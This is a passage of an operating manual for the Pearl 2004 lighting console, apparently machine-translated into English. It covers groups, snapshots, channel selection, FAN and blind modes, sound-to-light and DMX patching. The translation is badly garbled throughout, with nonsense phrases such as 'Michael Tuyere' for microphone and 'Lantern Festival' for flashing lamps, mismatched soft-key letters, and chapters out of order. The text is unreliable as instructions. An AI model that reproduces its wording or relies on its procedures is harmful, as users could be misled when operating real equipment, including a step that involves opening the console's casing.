You choose the order of the lamp are recorded to the group, when used in the chart on the board when it took the lamp light will re-presentation, and the use of light in the channel and mobile number on the menu functions, see section 4. .7 Moving light menu and section 9. .6 Section channel button. .


You can chart sheets and demos recorded in these groups, more details see Chapter 15 chart Board..

9. .4 Use group. .


Group when, rapid and consistent selection is useful when a large number of lamps.


Call Group:. .


* In the keyboard, enter the group number. When the first number keys are pressed, the menu will change.


* Press the soft key A (Softbutton A [RECALL GROUP]), call the group. Contains the group of lamps will be selected. .


A time can only be selected from a group, when you want to select the second lights, to withdraw from the first, a group and additional lighting can be selected.


You can also use the board to call the group chart. More details see Chapter 15 of the chart board. .

9. .5 use SNAPSHOT (snapshot).


You did a very spectacular stage scenes, when the director / designer / money would say, "So, stay to the next use." Without any problems using the snapshot. .


Snapshots allow you to store the current scene to a temporary memory reserved for future use. If it was all lamps of characteristics are stored, the snapshot can be used to check each of the luminaire on the console to view its dimming channels is above the zero position, if dimmer in the ON position, the block will be considered as a record. Lamps not required at the programmer, and you do not need to determine which memory to record, so you can store various snapshots for later use.

9. .5. .1 Console can store 50 the snapshot. .

9. .5. make a snapshot .2.


In the programming menu:. .


* Press the soft key D (Softbutton D [SNAPSHOT MENU (X/50)]). X is the number of snapshots have been recorded.


With the next menu is:. .

A soft keys [mount snapshot] (A Softbutton [LOAD SNAPSHOT]).


Softkey B [delete snapshot] (Softbutton B [DELETE SNAPSHOT]). .


Soft key C [a snapshot] (Softbutton C [TAKE SNAPSHOT]).

* Press the soft key C, the snapshot was recorded. .


* Do a date and time of the record because the snapshots have the time and date of the deadline, so that they can be identified later.

9. .5. .3 Load a previously recorded in the snapshot to the programmer. .


* Press the soft key D (Softbutton D [SNAPSHOT MENU (X/50)]). X is the number of snapshots have been recorded.


* Press the softkey A [Load Snapshot] (Softbutton A [LOAD SNAPSHOT)]). VDU now have a snapshot of the table have been recorded. Examples are as follows:. .


12) 11/3/1998 14: 12: 56.


The first number above the line is a snapshot of the numbers, the latter is the date and time of Hrs, Mins and Secs. .


You can use the arrow keys to select the snapshot you want.


You may want to clear the programmer to load only a snapshot of the inside, or programmers had already been cleared and the snapshot add some things inside. .


Snapshots are now mounted to the programmer, the programmer can now be logged into any memory or track step.

9. .5. .4 Delete the snapshot. .


* Press the soft key D (Softbutton D [SNAPSHOT MENU (X/50)]). X is the number of snapshots have been recorded.


* Press the soft key B (Softbutton B [DELETE SNAPSHOT)]). VDU now see a snapshot of the table have been recorded. Shown as an example the following line. .


12) 11/3/1998 14: 12: 56.


* Use the arrow keys to select the snapshot you wish to delete. .


* Press the ENTER key. Snapshots are deleted.

9. .6 Channel button. .


Channel button is an additional method to select and control computer, which facilitate the choice of light in the lamps of different page, instead of constantly changing pages.


Use this button to allow for different types of lamps, as a separate group can be manipulated as the user numbers according to their own numbers instead of handle to handle a variety of groups with different types of fixtures. .


Namely: a 4 Intellabeams and 10 Cyberlights composition of scenes of the lamps to be selected as intellabeam Cyberlight 2 or 6 instead of numbers on their handle.


This is a scene with one of the lamps not only useful, they can avoid marking the surface of the console plate too much confusion, the lowest number of lamps from their starting number, so the maximum number of handles on a special type of lighting will be defined The final number for the group. .


Press the EXIT key cannot exit the menu. The only exit is once again press the CHANNEL button.

9. .6. .1 Select lamps. .


* Keys to go to the location of the PROGRAM.


* Press the CHANNEL button. Into the channel selection menu. .


Current lighting types displayed in the flashing cursor on the line, this is your matching lamp type, if you want to use another kind of lamps and change it, you must:.


* Press the soft key B [choose a new lamp types] (Softbutton B [Select a new Fixture type]). Screen shows all the current connected with the lamp type. .


* Select you want to use the new lamp. You will automatically return to the channel menu and new lamps with flashing cursor in the column on the line.


* Enter you want to choose the number of lamps. Handle on the minimum number of lamps is set to 1, the highest number on the handle is set to set the maximum number. No flashing cursor appears in the online: CHAMMEL = XX. .


* Press the ENTER key. Choice of led light fixtures.


* And then press the CHANNEL button to exit the menu. .


9. Select a .2 .6. continuous sequence of lamps.


You can use the THROUGH button to select a continuous sequence of a given type of lamps. .


* Keys to go to the location of the PROGRAM.


* Press the CHANNEL button. Into the channel selection menu. .


* If necessary, use the soft keys B to select a new lamp.


* Enter your first number chosen lamps. No flashing cursor appears in the online so: CHAMMEL = XX. .


* Press the soft Juan C (Softbutton C [THROUGH]).


* Enter you want to select the final number of lamps. .


* Press the ENTER key. The selected led lamps.


Then press the CHANNEL button to exit the menu. .

9. .3 .6. channel buttons to use the group.


If you define any group (see section 9. .3 Section written set of programs), they are able to manipulate CHANNEL button, the same method is applied to the rules, in light of this rule was thought to exist in the group. .


Choose Group:.


* The key to PROGRAM position. .


* Press the CHANNEL button. Enter the channel selection menu.


* Press the soft key D [group] (Softbutton D [GROUP]). Flashing cursor line will ask you to enter the group you want to select the number. .


* Press the ENTER key. The selected led lamps.


* And then press the CHANNEL button to exit the menu. .


9. .6. CHANNEL buttons to select .4 used in programming the lamp.


This feature is used to select exist in the programmer all the lights, if you want to change the different colors that are useful, for example: Now the same pattern you want to set all of the lamps. .


* Keys to go to the location of the PROGRAM.


* Press the softkey A [select all] (Softbutton A [Select All]). All lights on the computer light is on. .


* Press the CHANNEL button. Enter the channel selection menu.


* And then press the CHANNEL button to exit the menu. .


This can only be used in the PC light-and cannot be a dimmer channels.

9. .6. .5 Use of CHANNEL menu to manipulate the selected group. .


No matter what method to choose a series of lamps, it may just select a set of odd or even number, then a lighting according to the number of occupied handles to determine odd or even, but future software will change this so that the odd or even number of lamps in accordance with a set of numbers or a separate selection luminaire is to determine the sequence.


Lamps from the current selection to select all the odd numbered lamps:. .


* Keys to go to the location of the PROGRAM.


* No matter what method of selection of lamps you want. .


* Press the CHANNEL button. Enter the channel selection menu.


* Press the soft key E (Softbutton E [ODD]). Handle all the odd numbers the light goes on. .


* Press the CHANNEL button again to exit the channel menu.

Lamps from the current selection to select all the even numbered lamps:. .


* Keys to go to the location of the PROGRAM.


* No matter what method of selection of lamps you want. .


* Press the CHANNEL button. Enter the channel selection menu.


* Press the soft key F (Softbutton E [EVEN]). All even numbered handle the light goes on. .


* Press the CHANNEL button again to exit the channel menu.

9. .6. .6 Input from the keyboard in a light intensity value. .


You cannot use CHANNEL menu to enter the selection luminaire's light intensity to replace push rods with preset or runner.


* The key to PROGRAM position. .


* However select the lighting you want.


* Press the CHANNEL button. Into the channel selection menu. .


* Press the soft key is G (Softbutton G [AT%]). The screen will ask you to enter the light intensity value.


* Enter a selected channel intensity value (from 0 to 10), 0, 0% 90% 9 said. Want to give a 100% price, then press soft key G (Softbutton G [100%]). .


* Then press the CHANNEL button exits the channel menu.

9. .6. .6. .1 With a plus or minus 5% to adjust the current intensity value. .


* Keys to go to the location of the PROGRAM.


* No matter what method of selection of lamps you want. .


* Press the CHANNEL button. Enter the channel selection menu.


* Press the soft key G (Softbutton G [AT%]). Screen will ask you to enter the value of light intensity. .


* Press the soft key E [+ 5%] (Softbutton E [+ 5%]) or soft keyboard G [-5%] (Softbutton F [-5%]) to adjust the selection luminaire's light intensity.


* Press the CHANNEL button to exit the menu. .

9. .7 INCLUDE () button.


As No. 4. .3 Section discusses, HTP and LTP channels is to be recorded? LTP output from the playback area does not record channel to a new memory (or tracking step), because they are not in the programmer. .


A memory or trace back all channels on the programmer to records in other places, then you can use INCLUDE.


This button's function is improved, then you can use it at any time, to step into the memory of the DMX value or to track device into programming, this button has moved above the gray button in the keyboard. .


Now you can get from an UNFOLDED (expanded) Chase to include a track step. A shape in the memory will automatically be INCLUDED.


* The key to PROGRAM position. Into the current programming mode menu. .


* If you want to include (INCLUDE) a special trace step, running track, and stopped in front of you want to include on the step.


If it's playback fader to pull down or pushed, and it's tracking is running, you will include a complete run of the last step. .


* Ensure that you do not select anything.


* Press the gray INCLUDE button. .


* Press the record you want to call in the memory of the recording and putting on or track step SWOP button. Memory or track step output from console and put into the programmer.


Repeat this several times you can pass any step to INCLUDE (include) more than one memory or tracking step. .


* In the normal way to store a memory or a portion of the trace step before doing any other changes you want on the stage.

9. .7. .1 Use INCLUDE to selectively call lights or features. .


You can also use the INCLUDE function to call a close, and then from a memory or track selection luminaire, in step.


* The key to PROGRAM position. Into the current programming mode menu. .


* If you want a special trace step includes all the features, running track, and stopped in front of you want to include on the step.


If it's playback fader to pull down or pushed, and it's tracking is running, you will include a complete run of the last step. .


* Select do you want to call the characteristics of the incoming light. Their led will be lit.


* Select the features you want to call block features, the characteristic features which block light that would be called. In LAMPS block, it will be have all the features selected lamps. In the other block, with a focus on the characteristics of being called to the definition of identity. (See Section 8. .14 Change in focus section logo). .


* Press the memory you want to call or to track step recording and push the button in the SWOP. From memory or trace step selection luminaire closure properties, and from the console output to the programmer.


* When necessary, repeat the above procedure to call other features. .


* In the normal way to store a memory or track step before you make any other changes you need to stage a scene.

9. .8 FAN (fan) mode. .


Press program to select a block of blue FAN button, put the wheel into the FAN mode, the led on the FAN buttons flashing indicates FAN model is working.


This has changed with two wheels to control a group of lamps in a characteristic way, it replaces all the lights in the same DMX values corresponding changes. When you rotate a wheel clockwise, the input to the lamp in the value, the value of the group in front of half of the increase to the back half of the reduction. Similarly, the wheel increases the effect of the central output from the group, then the effect of moving lights, farther away from the central group has a greater effect of a lamp, so the center outward from the group to build a fan effect. This can be applied to any feature of, not just in the horizontal and vertical aspects of. .


In an odd-numbered group in the central area of the lamps at value will not change.


* A group order is the order of the selected lamps, FAN mode by applying a random or special order of the group, to complete an interesting effect. .


FAN button replaces the old RESTORE CHASE OUTPUT button.


Press the FAN button again to restore the normal function of runner. .


When you finish it, make sure you have exited from the FAN mode; otherwise, it will look like you want the results of the action.

9. .9 Weakening Putters. .


Weaken the pusher allows a temporary restrictions on output light intensity channel, which turn off a light unstable computer, or a special equipment caused by the camera Flash is very useful.


Every time a putt is assigned to received light intensity characteristics of block 1, one less putt automatically be awarded with 12 receiving the characteristic block. .


Use the weakened pusher:.


* Reduced the channel of your push to the full position. .


* To REDUCE FIXTURE INTENSITY block. All out-of-the-box push rod can be manipulated to weaken the push rod.


* Can also weaken the position Push the full access to the light intensity to match the output level of the position. If it has been in full position, and dragged him off to zero position, again to go up. .


* Reduced push pull down to limit the level of the output location.

9. .10 In BLIND (baffle) of the total programming model. .


9. Enter the bezel .10. .1 mode.


* The key to PROGRAM position. Into the current programming mode menu. .


* Press the soft key is F (Softbutton F [PRESS FOR BLIND MODE]). To enter the programming mode menu on the bezel.


When the shutter mode, the programmer and not from the pre-fader output is connected, so you create or edit a variety of memory and tracking, rather than watching the stage to programming. .


Programs written in the current programming mode see, unless you have made changes to the invisible in the output.


When you enter the shutter mode, the channel has been in the programmer stay in, which may require removal (CLEAR) in the first output of the baffle mode programmer, or programmer in the channel may include in your programs written in . .

9. .10. .2 exit bezel mode.


* Once again, pressing the soft key F (Softbutton F [PRESS FOR LIVE MODE]), into the current programming mode menu. .


When you exit bezel mode, the programming of the channel is cleared, and the bezel mode is selected in the programmer before any channel is mounted to the programmer.


This means that the mode of entry and exit will not affect the baffle can see the stage, and if you can perform in the middle of a block (BLIND) program. .


* When you return to be logging a memory mode, maintained a programmer of things, so you can include in the future. See section 9. .7 section INCLUDE button.

9. .10. .3 Stage without changing the scene to convert a memory. .


* Keys to go to the location of the PROGRAM. Enter the current programming mode menu.


* Press the soft key F (Softbutton F [PRESS FOR BLIND MODE]). To enter programming mode menu baffle. .


* Includes memory being converted. (See section 9. .7 section INCLUDE button).


* Edit (EDIT) memory requirements. .


* Storing in the usual way.


* Record pre-fader and press the CLEAR button. .


* Once again F soft key is pressed (Softbutton F [PRESS FOR LIVE MODE]). Enter the current programming mode menu.


If the memory playback putting onto and then pull down to load up an experience in memory. .

9. acousto-optic .11..


Connected to a Michael or a line level wind (Line Level) sound and light signals to the input population, the console allows you to use the internal microphone or line constitutes a console connection. .

9. .11. .1 set sound and light sensor input level connections.


You can choose one of three input set to the sound and light sensors, including: Normal Microphone, Low Level Line and Line level. .


Settings that you must open the console and move to the location of the LINK 901.


Before you open the console, you must ensure that the main power supply is not connected. .


901 in the main circuit board Link (maximum) next to audio input connectors. When the connection circuit board side, the input is set to Michael Tuyere, middle position is set to low level line inputs, closest to the circuit board is in the middle of the line level inputs.

9. .11. .2 For the sound and light device programming. .


* Keys to go to the location of the PROGRAM.


* The preparation of the three tracking program to the playback channels 1,2 and 3. .


It will make the following response:.


Bass (bass) signals (recorder 1). .


Mid (intermediate) signal (recording 2).


Treble (triple) signal (recorded discharge). .


Each trace should initially be set to the status of LINDS. OFF.


See Section 7. .12. .3 Section link chasing. .


* Now turn the key to go to the location of the RUN.

9. .11. .3 Running sound and light features. .


* Have written three tracking program (in the previous sections have described), connect the sound source and press the soft key E [allows acousto-optic] (Softbutton E [ENABLE Sound to Light]).


* Press the playback fader 1 to 3, adjust sound and light level control to achieve the desired effect. .


Each time, BASS, MID, or TREBLE signal appears appropriate tracking will gradually.


Some steps can be connected to the tracking to provide different effects, connected step will continue to run, no steps will be music to connect the trigger, if necessary, you can create complex steps to further enhance the music. See Section 7. .12. .3 Section link tracking and 7. .9. .2 Festival time tracking a single step. .

9. .11. .4 stopping sound and light.


* Press the soft key F (Softbutton F [DISABLE Sound to Light]) to allow sound and light features. .

9. .12 help and tips.


Question: motion of the wheel is very strange. .


Answer: you are still in FAN mode.

Question: I would like to copy from a memory of some effect to a new program in the table. .


Answer: INCLUDE to copy part or all of the memories to the programmer, the programmer can be combined to form new memories and track step.


5. . Matching. .


5. before the match with .1.


In the distance you can control the lights from dimming with or prior to matching it, matching the function to a console channel and a channel connected to the actual output. .


Before you begin, it is best done with a clear (WIPEALL). See section 1.7. .1 section made clear (WIPEALL).


Pearl console has to lamps and dimmers write address and the address input to matching the features, or automatically generated when you connected with the function address, the second method has the advantage of convenience in matching the use of, and does not will be used in any illegal address. (See section 5. .17 Section illegal address). .


The console will start from 1 DMX channel up, if you enter a DMX number, it will start up with this number.


* Change or move an existing matching will lead to data loss. If you want to save the compiled under any program, the matching should save it before. .


If you transform it wrong, you can return to the original name. (See paras 14. .1 .2 Festival filed in.).


We use the "hotel room number" theory to pre-fader. Namely: 0 pages in the pre-putt No. No. 1-60, in a number of preset No. 100-160 putter so. .

5. matching .2 view.


If you know what you've done more easily matching, you can view the DMX channel matching is the matching or light, (with receipt of the stem) (see section 5. .4. .1 Stem section) . You may have to use the arrow keys to move the screen. .


Use the UP and DOWN keys can screen a channel by channel. LEFT and RIGHT keys in the screen to move up and down page.

5. .2. .1 View DMX's matching. .


* Press the VIEW button. You don't have to do this PATCH menu.


* Type the number 4 and press ENTER or press softkey C [DMX PATCH] DMX channels. .


* Press the EXIT left.


5. .2. .2 View that a fixed light (matching with the handle). .


This screen is useful, it not only tells you what each handle which lamps, and for a lamp, it will tell you its DMX address, the address of the DIP switch on the devices, personal files, dip switch device, etc..


* Press the VIEW button. You do not have to do this in the PATCH menu. .


* Type the numeric key, 9, and press ENTER.


Or press softkey D [FIXTURE PATCH],. .


Or press the a button on the SWOP handle.


* Press EXIT to leave. .

5. Select DMX line .3.


Pearl 2004 can drive up to four DMX 512 lines. Matching the line you choose is as follows:. .


* Keys to rotate to the Program. To enter the programming mode.


* Press the program select the block in the blue button PATCH election. Into the matching dimmers or device menu. .


* Press the soft key C (Softbutton C [SELECT DMX LINE]). Choice of DMX line.


* Press the soft key to select the DMX line AD. Screen automatically exit to PATCH DIMMER OR DEVICE menu. .


* Press the EXIT key or the PATCH button. Return to the programming mode.


* A more earlier models could only drive one or pearl two DMX 512 outputs, but it did not know this software! You do not have to be equipped with receiving the console output, in matching you more than any other line A of output, be sure to contact your provider, check your exact specifications using the console. .

5. matching of .4 some terminology.


5. .4. .1 Stem. .


Handle is a set of vertical placing of the two preset push to controlled lamps ADD buttons and SWOP button.

5. .5 Connected with conventional lamps. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Select the blue key, press the programming button PATCH (matching). Into the matching dimmers or device menu (PATCH DIMMER OR DEVICE). VGA screen will be automatically converted to use the DMX address. .


* Select if you want to adapt the lighting of the page.


0 allows you to choose the first matching (PATCH) to pre-putt on No. No. 001-060. .


Select 1 page allows you to connect (PATCH) to preset pusher to 160, paragraph 101.


Allows you to choose the first two matching (PATCH) to pre-putt on No. No. 201-260. .


Select the first 3 pages allow you to connect (PATCH) to push the preset to 360, 301.


* Press softkey A (Softbutton A) [DIMMER (dimmer)]. DMX screen will ask you to enter the number and you connected with the ADD or SWOP button. .


* If you want to change is with DMX line, press the soft key E [SELECT A DMX LINE], (select a DMX line), then press the softkey to select the appropriate A-D DMX line. Menu automatically exit to PATCH DIMMER OR DEVICE menu.


* Use the numeric keypad to the lowest DMX channel you want to enter numbers. The minimum number on the screen 1, but you can enter a minimum number. .


* Press the ADD button on the grey preset, the preset DMX address received with pusher are 1 to 30, or press the blue button, the preset SWOP DMX address of the distribution received 31 to 60 preset pusher. You each time with a channel DMX address will be automatically increased, so that you can easily adapt the order of address, if necessary, you can enter additional value. You can preset lever matching dimming on DMX channel arbitrary numbers.


If you would like to add lights later connected with the computer on top of your dimming channel set to SWOP button, as the computer lights ADD button is always with the same receipt. .


* To continue in this manner until you connect with a dimmer channels are paired with. If you only with a sequential series of DMX channels, so long as continuously press the preset range of ADD or press the key to SWOP.


* If the lamp should be connected with another one, repeat the above process can be. In this way the maximum can be connected with 240 preset dimmer (Dimmer Presets). .


* Press EXIT or softkey F (Softbutton F) [QUIT THIS MENU (exit)] to exit the current state into the PATCH DIMMEROR DEVICE (with dimmer or device menu).


* And then press EXIT or the PATCH button. Return to the program menu. .


* Complete matching, you can call the preset focus on casual with dimming or lamps. (See Chapter 8 preset focus).


You connected with preset dimming channel is called handle putter (Handle). Once connected with a good stalk (Handles), you can use, you can leave the channel to check your matching. .

5. matching more than one .6 dimmers to preset channel.


Console allows you to do this the normal way, which means that a pre-fader with two or more dimmer channels. Using VIEW DMX PATCH or VIEW FIXTURE PATCH to check what you have done. See section 9. .1 ─ ─ section to learn more about the screen using the VIEW. .


You cannot with any given DMX channels into more than a preset channel.

5. .7 Connected with the computer light. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Put the disk into the drive. .


* Blue programming by pressing the select key PATCH (matching). Enter with dimmer or device menu (PATCH DIMMER OR DEVICE), you will be asked to select dimmer or device. If you have a VGA screen, it will show you which are in use DMX address and are using their lamps.


* Press the soft key B (Softbutton B) [CHOOSE FIXTURE (choose lamps)]. AE's screen from the soft key will show a different lamp driver, softkey F (Softbutton F [MORE]) is listed next driver, softkey G (Softbutton G [GO BACK]) is back on 1. .


* Select from soft key name type you want.


* Now you will enter into a menu, ask you if you want to automatically set up pre-focus (Preset Focuses). Soft key is used to select or not (YES OR NO). .


When programming the limited time available, the automatic creation of preset focus allows you to quickly build a scene. Usually focused on preset focus preset buttons 1-30 there are 10 kinds of colors, 10 pattern and 10 locations. If you're accustomed to preset focus button to choose the best NO. In addition to the original IP, you cannot automatically generate a preset focus. For more information on focus, see Chapter 8.


* Now the console to read it while preparing matching. Screen shows the characteristics of the lamp is to appear different, and in the top display DMX address. .


If you do not have magnetic properties of block tags, it is necessary to put the characteristics of a block of Informatics, next to the button. (Devastation to use masking tape to prevent).


You can use the console to provide the address, or from the numeric keypad to enter an address (use the address provided is no advantage with the past is connected with the production lighting dimmers and the risk of conflict.). .


* If you want to change is with DMX line, press the soft key E [SELECT A DMX LINE], select DMX line, and then press the softkey A-D, select the appropriate DMX line. Menu automatically exit to PATCH DIMMER OR DEVICE menu.


* Select what you want matching lamps page. .


Select 0 page allows you to connect (PATCH) to preset handspike 001-060 number.


Select the first one allows you to matching (PATCH) to pre-putt on the 101 to 160. .


Select the 2 page allows you to connect (PATCH) to push the preset 201-260.


Select the first three allows you to matching (PATCH) to pre-putt on No. No. 301-360. .


* Press the preset push button on the ADD matching lamps, lamps, with receipt of this handle. The screen displays the next empty DMX address. Also you can press a preset button on the ADD pusher or enter another address to adapt more lamps.


* If there are more requests, you can choose another one, to continue in this way matching. You can use the new page in the pre-putt, putting previously used this preset. .


* When you make the same types of lamps all matching is done, you can press the soft key is A (A Softbutton [SELECT ANOTHER DEVICE]), to connect with more of the different types of devices, such as not matching, press the soft key is F (Softbutton F [QUIT]) or EXIT to exit.


* When complete matching after the exit, because the matching exit, then call to pre-focus (Preset Focus) to conduct a separate matching easy. .


* Do not attempt to light the computer receiving the preset actuator with SWOP button, this is only available to adapt the dimmer channels. (See Chapter 5 matching..).


View Screen 9 (via the handle is connected) will tell you some help with access information, such as DIP switch devices (DIP packages used in the double line, it is not love Wealthy company invented.), DMX; numbers, see 9. .2. .9 Day Screen 9 - to use the handle to see through. .

5. connection of a PC lamp .8 and dimmer mixed channel.


It is connected with computer lighting in section 5. .7 Section there are descriptions, they were connected with the ADD button, and their light intensity is reflected in the preset channels 1-30. You can only access a computer with a handle lights. .


With DMX dimmer channels in the 5. .5 section has a description, they were paired in the SWOP buttons and their luminous intensity in the preset channel 31-60 of embodiment. You can connect with any multiple dimming to a Dimmer Preset.


This means that on the Pearl 2004 you can receive as many as 120 types of computers equipped with lights, plus 120 Dimmer Presets. .


If you do not use 120 PC lamp, you can connect additional dimming to any unused ADD buttons, if you do not have computer lamp, Max can be used to 240 Dimmer Presets.

5. .9 A1 to a rapid establishment of dimming (Dimmer) matching. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Select the blue key, press the programming button PATCH (matching). Into the matching dimmers or device menu (PATCH DIMMER OR DEVICE). VGA screen will be automatically converted to use the DMX address. .


* Select if you want to adapt the lighting of the page.


0 allows you to choose the first matching (PATCH) to pre-putt on No. No. 001-060. .


Select 1 page allows you to connect (PATCH) to preset pusher to 160, paragraph 101.


Allows you to choose the first two matching (PATCH) to pre-putt on No. No. 201-260. .


Select the first 3 pages allow you to connect (PATCH) to push the preset to 360, 301.


* Press softkey A (Softbutton A) [DIMMER (dimmer)]. DMX screen will ask you to enter the number and you connected with the ADD or SWOP button. .


* If you want to change is with DMX line, press the soft key E [SELECT A DMX LINE], select DMX line, and then press the softkey A-D, select the appropriate DMX line. Menu automatically exit to PATCH DIMMER OR DEVICE menu.


* Press and hold the preset No. 1 gray ADD button, preset zones A and B while the lamps flashed. .


* While still holding down the button and press the ADD button is preset to 30 grey and relax. Preset area A and b of the Lantern Festival at the same time, until the console is well paired off.


* If the lamp should be connected with another one, repeat the above process can be. In this way the maximum can be connected with 120 preset dimmer (Dimmer Presets). .


* Press the EXIT button to exit or PATCH matching State.


Entering the two preset modes, this gives you the maximum number of preset channels. This means that the two sets were pre-fader controls the dimming of their respective channels. If they are received with a DMX output, you should ensure that the DMX cables plugged into the console on the back of the DMX socket 1. .


The two preset mode is running, you'll need to set the User Setting to 2 PRESET 4. (See paras 12. .4 section settings 4 operation modes).


If you want to wide (WIDE) to run the console mode, repeat the above in the SWOP button on the direction, which would 1-1 in the pre-fader channel 31-60 with the top of receiving the same in the other four to repeat this, you will be able to receive 240 with preset dimmer. .

5. fast matching .10.


If you want to matching the serial number of consecutive large number of dimmers, or lighting, practices are as follows:. .


Determine the console you want to mount, assurances luminaire type in the correct page, and you want to select the correct DMX line. If you advance to the luminaires assigned address, enter the minimum lights start addresses.


* Press you want to take the lamp first with ADD or SWOP button handle. .


* Press the last matching lamps handles ADD or SWOP button.


* Release the first button, and then the second button. To the direction of the console by pressing the button matching sequentially selected lamps. .

5. .11 the dimming light distribution channel received the computer.


Some equipment such as PAR lamps with a color converter, or VL5TM Wash Luminaires used to drive the lamp dimmer, in which case you can put a dimmer with receipt of the remaining lamps, so that it can be accessed as a unit . .


The normal method of the luminaire with a preset button on the SWOP received, and together with dimmer channels together with received the same button.

5. .12 Change has been connected with the lamp dimmer or DMX address. .


You can then adapt the DMX address, with dimmer or equipment to the original handle, the handle to the connection, but you want to enter a new DMX address. Any program written including the lamps to be saved.


* If selecting a lamp is being used in a different DMX address, when changing the dimmer lights of the DMX address or computer, no warning. The later version of the software will change. .


Console before occupation when matching the DMX addresses not yet placed the lamps will be shelved, handle will still exist, but there is no matching DMX channels, you can VIEW the Fixture Patch to see if a lamp is still pending in the from box. (See sections 5. .2 .2 section viewing lamps. connection), no lamps are on hold will be marked, as in any of the following DMX address is marked.


Programming the lights do save, and you need connected with a new DMX address to an empty handle on in order to control it. .

For matching lamps as follows: again.


* Rotation the key to the programming state (Program), enter the programming mode. .


* Blue programming by pressing the select key PATCH (matching). Enter with dimmer or device menu (PATCH DIMMER OR DEVICE). VGA screen will automatically be converted to use the DMX addresses.


* Press the soft key E (Softbutton E [REPATCH FIXTURES]). Into the re-matching menu. .


* Enter the name you want to reset the lamp's new address, if you need to with a different DMX output, press the soft key E [SELECT A DMX LINE], select a DMX line, and then select from the production of a new DMX output.


* Press the weight you want to handle the matching light blue SWOP button, and to determine the correct page. .


* Press the ENTER key to confirm.


Remember with a dimmer connected to a dimmer has been occupied by another handle on, so long as the new dimmers added to handle on-line. .


If you want to accompany a lamp like VL5TM Wash Luminaire, which is going to put a computer lamp and a good combination of lamps, you will need to put the lamp and dimmers weight with both.


Do not delete anything else your program will be lost! ! . .

5. .13 change dimmer or lighting of the handle.


Change the dimmer lights of the handle or computer, as long as it is received with another handle, press EXTER key on the line. .


Change the dimmer or computer lamp handle makes that all the information on the device is lost.

5. .14 Remove DMX distribution. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Select the blue key, press the programming button PATCH (matching). Into the matching dimmers or device menu (PATCH DIMMER OR DEVICE). .


* Blue programming selection key in the DELETE button is pressed, the light will shine.


* Enter the DMX channel you want to remove the number. .


* Press the ENTER key.


* Enter another DMX address for removal or press the EXIT key to exit. Back to the PATCH menu. .


Be careful using this feature because it can delete one or more of the matching computer lamp.

5. .15 Remove handle. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Select the blue key, press the programming button PATCH (matching). Into the matching dimmers or device menu (PATCH DIMMER OR DEVICE). .


* Blue programming selection key in the DELETE button is pressed, the light will shine.


* Press you want to remove the handle on the ADD or SWOP button. .


* Press the ENTER key.


* ADD or SWOP press another button to remove the other handle or press the EXIT key to exit. Back to the PATCH menu. .


To delete a handle will lose all of the program, this must be careful before.

5. .16 Delete the entire matching. .


Use the remove all handle method to delete the data, but the best way is to do a wipe (WIPEALL). See 1. .7. .1 section do wipe.

5. .17 Illegal address. .


Some lamps only in a DMX address to assign an address.


You read the manual to go with the lamp access must be preceded by testing it to see lights behind the special information, or ask the manufacturer or the defenders on the special properties of light. See Appendix 4. Computer lamp manufacturer continuous phone number. .


To determine this information consistent with the company or its software love Fuli, otherwise the console does not allow you to connect with an illegal address in the IP ADDRESS appears ILLEGAL (illegal address) of the words, you need to enter another DMX address.


5. .18 Matching the level set. .


In matching a dimmer before, you can set up IP-level (LEVEL).


Into the dimmer is connected with the menu:. .


* Press the soft key is A (Softbutton [LEVEL = X%]). The screen will ask you a DMX channel level percentage.


* Enter the percentage and then press ENTER. .


The DMX channels and all the channel will be affected by the level of the limit, until you change it again. Its default value is 100%.

5. .19 Set dimming curve. .


In the match with dimmer, you can set the dimming curve.


Into the dimmer is connected with the menu:. .


* Press the soft key B (Softbutton B [CURVE = X]).


* Enter 1,2,3 or 4 and then press ENTER. .


Dimming curve 1 is the definition of "user (USER DEFINABLE).


Linear dimming curve 2 is the (LINARE). .


Dimming curve 3 is a square (SQUARE).


Dimming curve 4 is the supply of new (RELAY). .


Until you change it again, this DMX channels and all the channel will remain after the dimming curve. Its default value is linear (LINARE).


In order to use your own definition of the curve, you need to pass the channel to the PC machine. It is defined as a simple text form. See Appendix 7 users - defined dimming curves for further details. .


5. How can I control the .20 lamps or dimming channels?.


5. .20. .1 What is the maximum number of computer lights? . .


As long as you don't exceed the capacity of Pearl DMX console, you can control the 120 PC lamp.


If you have a new pearl 2004, in its front panel engraved with the 'Pearl 2004' words, then you have four DMX outputs, the largest with 2048 DMX channels. .


If you have an original type of Pearl, it may be modified to allow two DMX output, which can control 1024 DMX channels.


Earlier one, the Pearl has not been modified only one channel DMX 512 output. .

5. .20. .2 in the same table in a maximum of several lamps and dimmer.


You can have 120 Dimmer Presets, each can be connected with numerous dimming DMX channels, there are 120 computers at the same time light and easy to be over the DMX has not been restricted. .


With regard to certain types of lamps for lighting crossing, like VL5TM Luminaires and Wash with color changing light, when it is used to connect, have been taken into lamps, however they are moving in the direction of DMX channel limit calculation.

5. .20. .3 No computer lights dimming when the maximum number of channels. .


Any unoccupied PC lamp can be used as a preset channel dimmer preset, but, in turn, but I can't. Therefore, do not adapt the full 120 PC lamp, you will be able to connect with another dimmer preset. If you do not have any intelligent lights, you'll be able to use all the Presets in the Dimmers Preset so that you can control the Preset 240 Dimmers.


You can no longer light-receiving characteristics of distribution channel block. .

5. .20. .4 the characteristics of the PC light is set to a different characteristic block and set up your personal profile.


The establishment of special characteristics of individual files to the various configurations to different characteristics of the block. See the programming manual for details of individual files. .

5. .21 DMX..


5. .21. .1 Distribution of DMX line to the output. .


You can use the console output socket on the rear of the DMX DMX channels assigned to the output.


General settings are as follows:. .


DMX output 1: Socket 1, 2 and 3 root pin DMX channel > A >.


DMX Output 2: socket 2, 2 and 3 pin>> DMX channel B. .


DMX output 3: Socket 1, 4 and 5 root pins > C > DMX channels.


DMX output 4: socket 2, 4 and 5 pin>> DMX channel D. .


When a DMX line matching A-D naming, but in the console's socket sticker labels are 1-4.


You change them through the following methods:. .


* Keys to rotate to the Program. To enter the programming mode.


* Press the program select the block in the blue button PATCH election. Into the matching dimmers or device menu. .


* Press the soft key is F (Softbutton F [PATCH UTILITIES]). Enter PATCH UTILITIES menu.


* Press the soft key D (Softbutton D [SET DMX LINES]). Enter SET DMX LINES (set DMX lines) menu. .


* LCD screen displays four DMX channel A-D, VDU monitor to display the current connection. Use UP and DOWN arrow keys to bring brighter yellow, place the cursor where you want to change the DMX channels.


